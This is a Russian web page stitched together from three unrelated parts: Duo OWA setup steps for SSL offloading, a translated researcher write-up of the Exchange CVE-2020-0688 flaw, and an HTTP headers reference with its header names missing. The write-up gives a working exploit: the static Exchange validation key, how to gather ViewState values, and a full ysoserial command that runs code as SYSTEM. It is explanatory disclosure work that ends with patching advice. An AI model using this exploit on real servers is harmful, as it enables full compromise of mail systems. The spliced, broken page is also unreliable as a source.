  • Вы должны отключить требование HTTPS на сайтах OWA и ECP на серверах ролей Exchange CAS. См. инструкции для Exchange 2013/2016 и Exchange 2010 на сайте Microsoft TechNet.
  • Вы должны включить параметр SSLOffloaded в Exchange 2010 для сайтов OWA и ECP через редактор реестра. Подробные инструкции см. в Microsoft TechNet.
  1. Откройте редактор реестра (regedit.exe) на клиентском сервере Exchange, где вы установили Duo.
  2. Перейдите к HKLM\Software\Duo Security\DuoIis.
  3. Создайте новое значение DWORD (32-разрядное) в DuoIis с именем PermitInsecureRequests и установите значение 1.
  4. Создайте новый ключ в DuoI с именем InsecureHostList.
  5. Создайте новое строковое значение в ключе InsecureHostList с именем Host0 и задайте для него либо имя хоста, либо IP-адрес вашего балансировщика нагрузки (сопоставьте это значение с тем, что ваш балансировщик нагрузки использует для идентификации на вашем сервере Exchange). При необходимости повторите создание значения хоста (Host1, Host2 и т. д.), если входящие HTTP-запросы будут отправляться в OWA/ECP с нескольких устройств.
  6. Закройте редактор реестра.
  7. Откройте командную строку с повышенными привилегиями (щелкните правой кнопкой мыши "Командная строка" и выберите параметр "Запуск от имени администратора") и выполните команду iisreset.

Вам также потребуется отключить требование SSL для виртуального каталога Duo IIS (точно так же, как вы делали ранее для OWA и ECP).

  1. Откройте диспетчер информационных служб Интернета (IIS) на серверах, на которых вы установили Duo для OWA.
  2. Перейдите в дереве к Имя вашего сервера → Сайты → Веб-сайт по умолчанию → duo.
  3. В представлении duo HOME дважды щелкните Настройки SSL.
  4. Снимите флажок "Требовать SSL" и нажмите "Применить" справа.
  5. Откройте командную строку с повышенными привилегиями (щелкните правой кнопкой мыши "Командная строка" и выберите параметр "Запуск от имени администратора") и выполните команду iisreset.

Наконец, если у вас есть какие-либо правила переключения контента или другая конфигурация балансировщика нагрузки, которая разрешает явный доступ к виртуальным сайтам /owa и /ecp на ваших хостах CAS. , обновите эти правила, чтобы разрешить доступ к виртуальному сайту /duo, созданному установщиком Duo для OWA. Если вы настроили правило, которое отправляет требуемые заголовки X-Forwarded-Proto и X-Forwarded-For только для виртуальных сайтов /owa и /ecp, вам также может потребоваться добавьте аналогичное правило для нового виртуального сайта /duo. Обратитесь за инструкциями к поставщику решения для балансировки нагрузки.

Все ошибки, сгенерированные Duo для разгрузки SSL (например, отсутствующий заголовок X-Forwarded-Proto или разрешенный IP-адрес хоста или имя, не найденное в реестре), записываются в журнал приложений Windows.

Возможные ошибки и решения:

Поддерживаются ли гибридные развертывания Exchange?

Защита Duo для Outlook Web App не распространяется на вход в почтовые ящики Office 365 или Exchange Online. Чтобы потребовать Duo 2FA для доступа к Exchange Online, вы можете развернуть одно из решений Duo для доступа к Office 365. Настройте политику запомненных устройств «для всех защищенных веб-приложений» и примените ее как к приложениям OWA, так и к приложениям Office 365 Duo, чтобы избежать нескольких запросов аутентификации Duo при перенаправлении с Exchange на Office 365 и наоборот.

Поддерживается ли приложение OWA для iOS?

Нет, приложение OWA для iOS не поддерживает многофакторную аутентификацию. Microsoft прекратила поддержку мобильных приложений OWA 15 мая 2018 г.Собственное почтовое приложение для iOS будет по-прежнему работать после установки Duo для OWA, предоставляя доступ к почтовому ящику без MFA.

Я обновил свою версию Duo до версии 1.1.1 с более ранней версии. Почему теперь всем моим пользователям предлагается повторно зарегистрироваться в Duo?

Настройка нормализации имени пользователя была перемещена из флажка в установщике OWA MSI в параметр приложения в панели администратора Duo, начиная с версии 1.1.1 Duo для OWA. Если вы обновляете старую версию OWA-приложения Duo до версии 1.1.1 или более поздней, войдите в панель администратора Duo и убедитесь, что в свойствах OWA-приложения для нормализации имени пользователя установлено значение Simple.

Нормализация имени пользователя

Поддерживаются ли Microsoft Small Business Server или Windows Server Essentials?

Мы не тестируем интеграцию с SBS или Server Essentials и не можем гарантировать поддержку этих платформ.

Дополнительные способы устранения неполадок

Нужна дополнительная помощь? Попробуйте выполнить поиск в статьях нашей базы знаний OWA или в обсуждениях сообщества. Для получения дополнительной помощи обратитесь в службу поддержки.

Попробовать Duo бесплатно

Благодаря нашей бесплатной 30-дневной пробной версии вы сами убедитесь, насколько легко начать работу с надежным доступом Duo.

Истории клиентов

Узнайте от наших клиентов, как Duo повышает их безопасность и бизнес.

электронные книги

Узнайте больше о различных темах информационной безопасности в нашей библиотеке информативных электронных книг.

В этот последний вторник Microsoft выпустила исправление с рейтингом «Важно» для устранения ошибки удаленного выполнения кода в Microsoft Exchange Server. Об этой уязвимости сообщил нам анонимный исследователь, и она затрагивает все поддерживаемые версии Microsoft Exchange Server вплоть до последнего патча. Вот короткое видео об ошибке в действии:

\n ","url":"https://youtu.be/7d_HoQ0LVy8","width":640,"height":480,"providerName":"YouTube","thumbnailUrl":"https: //i.ytimg.com/vi/7d_HoQ0LVy8/hqdefault.jpg","resolvedBy":"youtube">" data-block-type="32" >

Изначально Microsoft заявила, что эта ошибка связана с уязвимостью, связанной с повреждением памяти, и может быть использована специально созданным электронным письмом, отправляемым на уязвимый сервер Exchange. С тех пор они изменили свое описание, чтобы (правильно) указать, что уязвимость возникает из-за того, что Exchange Server не может правильно создать уникальные криптографические ключи во время установки.

" data-lightbox-theme="dark" > Посмотреть в полном размере

Рисунок 1. Выдержка из web.config, содержащий статический ключ проверки». /><br /></p>
<p><em>Рис. 1. Фрагмент файла web.config, содержащего статический ключ проверки.</em></p>
<p>Для начала перейдите на страницу /ecp/default.aspx и войдите в систему. Используемая учетная запись не требует особых прав. В этом примере мы используем учетную запись с именем пользователя:</p>
<p><img class=

Чтобы продолжить, нам нужно собрать некоторую информацию. Самое ценное уже известно:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

Чтобы получить ViewStateUserKey и __VIEWSTATEGENERATOR , откройте вкладку Network в Dev Tools (F12) и повторно отправьте запрос, нажав F5. Нам нужен необработанный ответ на запрос к /ecp/default.aspx при входе в систему:

Picture3.jpg

Picture4.jpg

В этом примере его значение равно 05ae4b41-51e1-4c3a-9241-6b87b169d663 .

Теперь у нас есть вся информация, необходимая для проведения атаки:
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator = B97B4E27
--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo ОООПС. > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey ="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

Picture5.jpg

Наконец, нам нужно закодировать URL-адрес полезной нагрузки ViewState и создать URL-адрес следующим образом:

заменив генератор и URL-кодированное ViewState, полученное выше.

Затем мы отправляем полученный URL-адрес на сервер Exchange, просто вставляя его в адресную строку браузера:

Picture6.jpg

Сервер жалуется на непредвиденную ошибку 500 , но атака прошла успешно. Изучение эффекта на целевом сервере:

Picture9.jpg

Конечно, теперь файл Vuln_Server.txt существует. Проверка информации о владельце файла подтверждает, что он был создан процессом с токеном SYSTEM.

Picture10.jpg

Это демонстрирует, что злоумышленник может выполнить произвольный код как SYSTEM и полностью скомпрометировать целевой сервер Exchange.

Заключение

Microsoft исправила эту уязвимость в феврале 2020 г. как CVE-2020-0688. Согласно их описанию, они устранили эту уязвимость, «исправив то, как Microsoft Exchange создает ключи во время установки». Другими словами, теперь они рандомизируют криптографические ключи во время установки. Microsoft оценила это как важное по степени серьезности, вероятно, потому, что злоумышленник должен сначала пройти аутентификацию. Однако следует отметить, что на предприятии практически любой пользователь может пройти аутентификацию на сервере Exchange. Точно так же любой внешний злоумышленник, скомпрометировавший устройство или учетные данные любого корпоративного пользователя, сможет захватить сервер Exchange. Достигнув этого, злоумышленник сможет по своему желанию разглашать или фальсифицировать сообщения корпоративной электронной почты. Соответственно, если вы являетесь администратором Exchange Server, вы должны относиться к этому патчу как к критичному и развернуть его сразу после завершения тестирования. Microsoft перечисляет это с индексом эксплойтов 1, что означает, что они ожидают увидеть эксплойты в течение 30 дней после выпуска исправления. Как показано, это вполне вероятно.

Мы хотели бы поблагодарить анонимного исследователя, который сообщил об этой ошибке в ZDI и предоставил большую часть информации для этой статьи.

Вы можете найти меня в Твиттере по адресу @HexKitchen и подписаться на нашу команду, чтобы узнавать о последних методах эксплойтов и исправлениях безопасности.

Заголовки можно группировать в соответствии с контекстом:

    содержат дополнительную информацию о ресурсе, который нужно получить, или о клиенте, запрашивающем ресурс. содержат дополнительную информацию об ответе, например, о его местоположении или о сервере, который его предоставил. содержат информацию о теле ресурса, например о его MIME-типе или применяемом кодировании/сжатии. содержат независимую от представления информацию о полезных данных, включая длину содержимого и кодировку, используемую для транспортировки.

Заголовки также можно группировать в соответствии с тем, как их обрабатывают прокси-серверы:

Эти заголовки должны передаваться конечному получателю сообщения: серверу для запроса или клиенту для ответа. Промежуточные прокси-серверы должны повторно передавать эти заголовки без изменений, а кэши должны сохранять их.

Эти заголовки имеют смысл только для одного соединения транспортного уровня и не должны повторно передаваться прокси-серверами или кэшироваться. Обратите внимание, что с помощью заголовка Connection можно устанавливать только заголовки переходов.

Аутентификация

Определяет метод аутентификации, который следует использовать для доступа к ресурсу.

Содержит учетные данные для аутентификации агента пользователя на сервере.

Определяет метод аутентификации, который следует использовать для доступа к ресурсу за прокси-сервером.

Содержит учетные данные для аутентификации агента пользователя на прокси-сервере.

Кэширование

Время в секундах, в течение которого объект находился в кэше прокси-сервера.

Директивы для механизмов кэширования как в запросах, так и в ответах.

Дата/время, после которых ответ считается устаревшим.

Общее предупреждение о возможных проблемах.

Подсказки для клиентов

Серверы заблаговременно запрашивают интересующие их заголовки клиентских подсказок с помощью команды Accept-CH . Затем клиент может включить запрошенные заголовки в последующие запросы.

Серверы могут попросить клиента запомнить набор клиентских подсказок, которые сервер поддерживает в течение определенного периода времени, чтобы разрешить доставку клиентских подсказок при последующих запросах к серверу-источнику.

Различные категории клиентских подсказок перечислены ниже.

Подсказки клиента агента пользователя

Подсказки клиента UA представляют собой заголовки запросов, предоставляющие информацию о пользовательском агенте и платформе/архитектуре, на которой он работает:

Бренд и версия агента пользователя.

Основная архитектура платформы агента пользователя.

Разрядность базовой архитектуры ЦП пользовательского агента (например, "64").

Полная семантическая строка версии пользовательского агента.

Полная версия для каждого бренда в списке брендов пользовательского агента.

Агент пользователя работает на мобильном устройстве или, в более общем смысле, предпочитает "мобильный" пользовательский интерфейс.

Модель устройства агента пользователя.

Основная операционная система/платформа пользовательского агента.

Версия базовой операционной системы агента пользователя.

Подсказки клиента устройства

Заголовок ответа, используемый для подтверждения отношения устройства изображения к пикселю в запросах, где подсказка клиента DPR использовалась для выбора ресурса изображения.

Приблизительный объем доступной оперативной памяти клиента. Это часть API памяти устройства.

Соотношение пикселей клиентского устройства (DPR), которое представляет собой количество пикселей физического устройства, соответствующее каждому пикселю CSS.

Число, указывающее ширину области просмотра макета в пикселях CSS. Предоставленное значение в пикселях представляет собой число, округленное до наименьшего следующего целого числа (т. е. до максимального значения).

Число, указывающее требуемую ширину ресурса в физических пикселях (т. е. внутренний размер изображения).

Подсказки сетевого клиента

Подсказки сетевого клиента позволяют серверу выбирать, какая информация будет отправлена, в зависимости от выбора пользователя, пропускной способности сети и задержки.

Приблизительная пропускная способность соединения клиента с сервером в Мбит/с. Это часть API сетевой информации.

Действующий тип подключения ("сетевой профиль"), который лучше всего соответствует задержке и пропускной способности подключения. Это часть API сетевой информации.

Время приема-передачи на уровне приложения (RTT) в миллисекундах, включая время обработки сервером. Это часть API сетевой информации.

Логическое значение, указывающее предпочтение пользовательского агента по сокращению использования данных.

Условные выражения

Дата последней модификации ресурса, используемая для сравнения нескольких версий одного и того же ресурса. Он менее точен, чем ETag, но его легче вычислить в некоторых средах. Условные запросы с использованием If-Modified-Since и If-Unmodified-Since используют это значение для изменения поведения запроса.

Уникальная строка, идентифицирующая версию ресурса. Условные запросы с использованием If-Match и If-None-Match используют это значение для изменения поведения запроса.

Делает запрос условным и применяет метод только в том случае, если сохраненный ресурс соответствует одному из заданных ETag.

Делает запрос условным и применяет метод только в том случае, если сохраненный ресурс не соответствует ни одному из заданных ETag. Это используется для обновления кешей (для безопасных запросов) или для предотвращения загрузки нового ресурса, когда он уже существует.

Делает запрос условным и ожидает, что ресурс будет передан только в том случае, если он был изменен после указанной даты. Это используется для передачи данных только тогда, когда кеш устарел.

Делает запрос условным и ожидает, что ресурс будет передан только в том случае, если он не был изменен после указанной даты. Это обеспечивает согласованность нового фрагмента определенного диапазона с предыдущими или реализует систему управления оптимистичным параллелизмом при изменении существующих документов.

Определяет, как сопоставлять заголовки запросов, чтобы решить, можно ли использовать кешированный ответ, а не запрашивать новый с исходного сервера.

Управление подключением

Управляет тем, остается ли сетевое подключение открытым после завершения текущей транзакции.

Управляет тем, как долго постоянное соединение должно оставаться открытым.

Согласование содержания

Информирует сервер о типах данных, которые можно отправить обратно.

Алгоритм кодирования, обычно это алгоритм сжатия, который можно использовать для возвращаемого ресурса.

Сообщает серверу человеческий язык, который сервер должен отправить обратно. Это подсказка, и она не обязательно находится под полным контролем пользователя: сервер всегда должен обращать внимание на то, чтобы не отменить явный выбор пользователя (например, выбор языка из раскрывающегося списка).

Элементы управления

Указывает на ожидания, которые должны быть выполнены сервером для правильной обработки запроса.

Файлы cookie

Узнайте больше о CORS здесь.

Указывает, можно ли поделиться ответом.

Указывает, может ли быть предоставлен ответ на запрос, если флаг учетных данных установлен в true.

Указывает методы, разрешенные при доступе к ресурсу в ответ на предварительный запрос.

Указывает, какие заголовки могут быть представлены как часть ответа, перечисляя их имена.

Указывает, как долго результаты предварительного запроса могут кэшироваться.

Указывает, откуда исходит выборка.

Указывает источники, которым разрешено просматривать значения атрибутов, полученные с помощью функций Resource Timing API, которые в противном случае были бы сообщены как нулевые из-за ограничений между источниками.

Загрузки

Указывает, должен ли переданный ресурс отображаться встроенным (поведение по умолчанию без заголовка) или он должен обрабатываться как загрузка, а браузер должен отображать диалоговое окно «Сохранить как».

Информация о теле сообщения

Размер ресурса в десятичном числе байтов.

Указывает тип мультимедиа ресурса.

Используется для указания алгоритма сжатия.

Описывает человеческий язык (языки), предназначенный для аудитории, чтобы пользователь мог различать язык в соответствии с предпочитаемым пользователем языком.

Указывает альтернативное место для возвращаемых данных.

Прокси

Содержит информацию от клиентской стороны прокси-серверов, которая изменяется или теряется, когда прокси участвует в пути запроса.

Определяет исходный хост, запрошенный клиентом для подключения к вашему прокси-серверу или балансировщику нагрузки.

Добавляется прокси-серверами, как прямыми, так и обратными, и может отображаться в заголовках запросов и заголовков ответов.

Перенаправления

Указывает URL-адрес для перенаправления страницы.

Контекст запроса

Содержит адрес электронной почты в Интернете для человека, который управляет запрашивающим пользовательским агентом.

Указывает доменное имя сервера (для виртуального хостинга) и (необязательно) номер TCP-порта, который прослушивает сервер.

Адрес предыдущей веб-страницы, с которой переходили по ссылке на текущую запрошенную страницу.

Определяет, какая информация о реферере, отправляемая в заголовке Referer, должна включаться в сделанные запросы.

Содержит характеристическую строку, которая позволяет партнерам по сетевому протоколу идентифицировать тип приложения, операционную систему, поставщика программного обеспечения или версию программного обеспечения запрашивающего программного агента пользователя. См. также справочник по строкам пользовательского агента Firefox.

Контекст ответа

Содержит информацию о программном обеспечении, используемом исходным сервером для обработки запроса.

Запросы диапазона

Указывает, поддерживает ли сервер запросы диапазона, и если да, то в каких единицах может быть выражен диапазон.

Указывает часть документа, которую должен вернуть сервер.

Создает запрос условного диапазона, который выполняется только в том случае, если заданный etag или дата соответствуют удаленному ресурсу. Используется для предотвращения загрузки двух диапазонов из несовместимой версии ресурса.

Указывает, где в полном теле сообщения находится часть сообщения.

Безопасность

Позволяет серверу объявить политику внедрения для данного документа.

Запрещает другим доменам открывать/управлять окном.

Не позволяет другим доменам читать ответ ресурсов, к которым применяется этот заголовок.

Управляет ресурсами, которые пользовательскому агенту разрешено загружать для данной страницы.

Позволяет сайтам включить отчетность и/или принудительное применение требований к прозрачности сертификатов, что предотвращает незамеченное использование ошибочно выпущенных сертификатов для этого сайта. Когда сайт включает заголовок Expect-CT, они запрашивают у Chrome проверку наличия любого сертификата для этого сайта в общедоступных журналах CT.

Предоставляет механизм, разрешающий и запрещающий использование функций браузера в собственном фрейме и во встроенных фреймах.

Предоставляет механизм, позволяющий веб-приложениям изолировать свое происхождение.

Отправляет сигнал серверу, выражая предпочтение клиента для зашифрованного и аутентифицированного ответа и что он может успешно обработать директиву update-insecure-requests.

Отключает анализ MIME и заставляет браузер использовать тип, указанный в Content-Type .

Заголовок HTTP X-Download-Options указывает, что браузер (Internet Explorer) не должен отображать параметр «Открыть» файл, который был загружен из приложения, чтобы предотвратить фишинговые атаки, поскольку в противном случае файл получит доступ к выполняться в контексте приложения. (Примечание: связанная ошибка MS Edge).

Указывает, следует ли разрешить браузеру отображать страницу в формате , , или .

Указывает, разрешен ли файл междоменной политики ( crossdomain.xml ). Файл может определять политику предоставления клиентам, таким как Adobe Flash Player (теперь устаревший), Adobe Acrobat, Microsoft Silverlight (теперь устаревший) или Apache Flex, разрешения на обработку данных между доменами, которые в противном случае были бы ограничены из-за того же самого. Политика происхождения. Дополнительные сведения см. в Спецификации файла междоменной политики.

Может быть установлен хостинговыми средами или другими фреймворками и содержит информацию о них, не предоставляя никакой пользы приложению или его посетителям. Снимите этот заголовок, чтобы избежать раскрытия потенциальных уязвимостей.

Включает фильтрацию межсайтовых сценариев.

Связывает определенный криптографический открытый ключ с определенным веб-сервером, чтобы снизить риск атак MITM с использованием поддельных сертификатов.

Отправляет отчеты на report-uri, указанный в заголовке, и по-прежнему позволяет клиентам подключаться к серверу, даже если закрепление нарушено.

Получить заголовки запроса метаданных

Заголовки запросов на выборку метаданных предоставляют информацию о контексте, из которого исходит запрос. Это позволяет серверу принимать решения о разрешении запроса в зависимости от того, откуда поступил запрос и как будет использоваться ресурс.

Это заголовок запроса, указывающий на связь между источником инициатора запроса и источником его цели. Это структурированный заголовок, значением которого является токен с возможными значениями cross-site , same-origin , same-site и none .

Это заголовок запроса, указывающий режим запроса на сервер. Это структурированный заголовок, значением которого является токен с возможными значениями cors , navigation , no-cors , same-origin и websocket .

Это заголовок запроса, который указывает, был ли запрос навигации инициирован активацией пользователя. Это структурированный заголовок, значение которого является логическим, поэтому возможные значения: ?0 для false и ?1 для true.

Это заголовок запроса, который указывает назначение запроса на сервер. Это структурированный заголовок, значением которого является токен с возможными значениями audio, audioworklet, document, embed, empty, font, image, manifest, object, paintworklet, report, script, serviceworker, sharedworker, style, track, video, worker и xslt .

Заголовок запроса, отправленный в упреждающем запросе на fetch() ресурса во время загрузки сервисного работника. Значение, устанавливаемое с помощью NavigationPreloadManager.setHeaderValue(), может использоваться для информирования сервера о том, что должен быть возвращен другой ресурс, чем при обычной операции fetch().

События, отправленные сервером

Определяет механизм, который позволяет разработчикам объявлять политику отчетов о сетевых ошибках.

Используется для указания конечной точки сервера, на которую браузер отправляет предупреждения и отчеты об ошибках.

Перенос кода

Указывает форму кодирования, используемую для безопасной передачи ресурса пользователю.

Указывает кодировку передачи, которую пользовательский агент готов принять.

Позволяет отправителю включать дополнительные поля в конце разбивки сообщения.

Веб-сокеты

Другое

Клиент может выразить желаемую политику push-уведомлений для запроса, отправив поле заголовка Accept-Push-Policy в запросе.

Клиент может отправить поле заголовка Accept-Signature, чтобы указать намерение воспользоваться любыми доступными подписями и указать, какие типы подписей он поддерживает.

Используется для списка альтернативных способов доступа к этой службе.

Содержит дату и время создания сообщения.

Указывает, что запрос был передан в ранних данных TLS.

Сообщает браузеру, что загружаемой странице потребуется выполнить большое выделение.

Политика push-уведомлений определяет поведение сервера в отношении push-уведомлений при обработке запроса.

Указывает, как долго пользовательский агент должен ждать, прежде чем сделать дополнительный запрос.

Поле заголовка Signature содержит список подписей для обмена, каждая из которых сопровождается информацией о том, как определить полномочия и обновить эту подпись.

Поле заголовка Signed-Headers определяет упорядоченный список полей заголовка ответа, которые необходимо включить в подпись.

Сообщает одну или несколько метрик и описаний для заданного цикла запрос-ответ.

Связывает сгенерированный код с исходной картой.

Управляет предварительной загрузкой DNS — функцией, с помощью которой браузеры заранее выполняют разрешение доменных имен для обеих ссылок, по которым пользователь может перейти, а также для URL-адресов элементов, на которые ссылается документ, включая изображения, CSS, JavaScript и т. д.< /p>

Читайте также: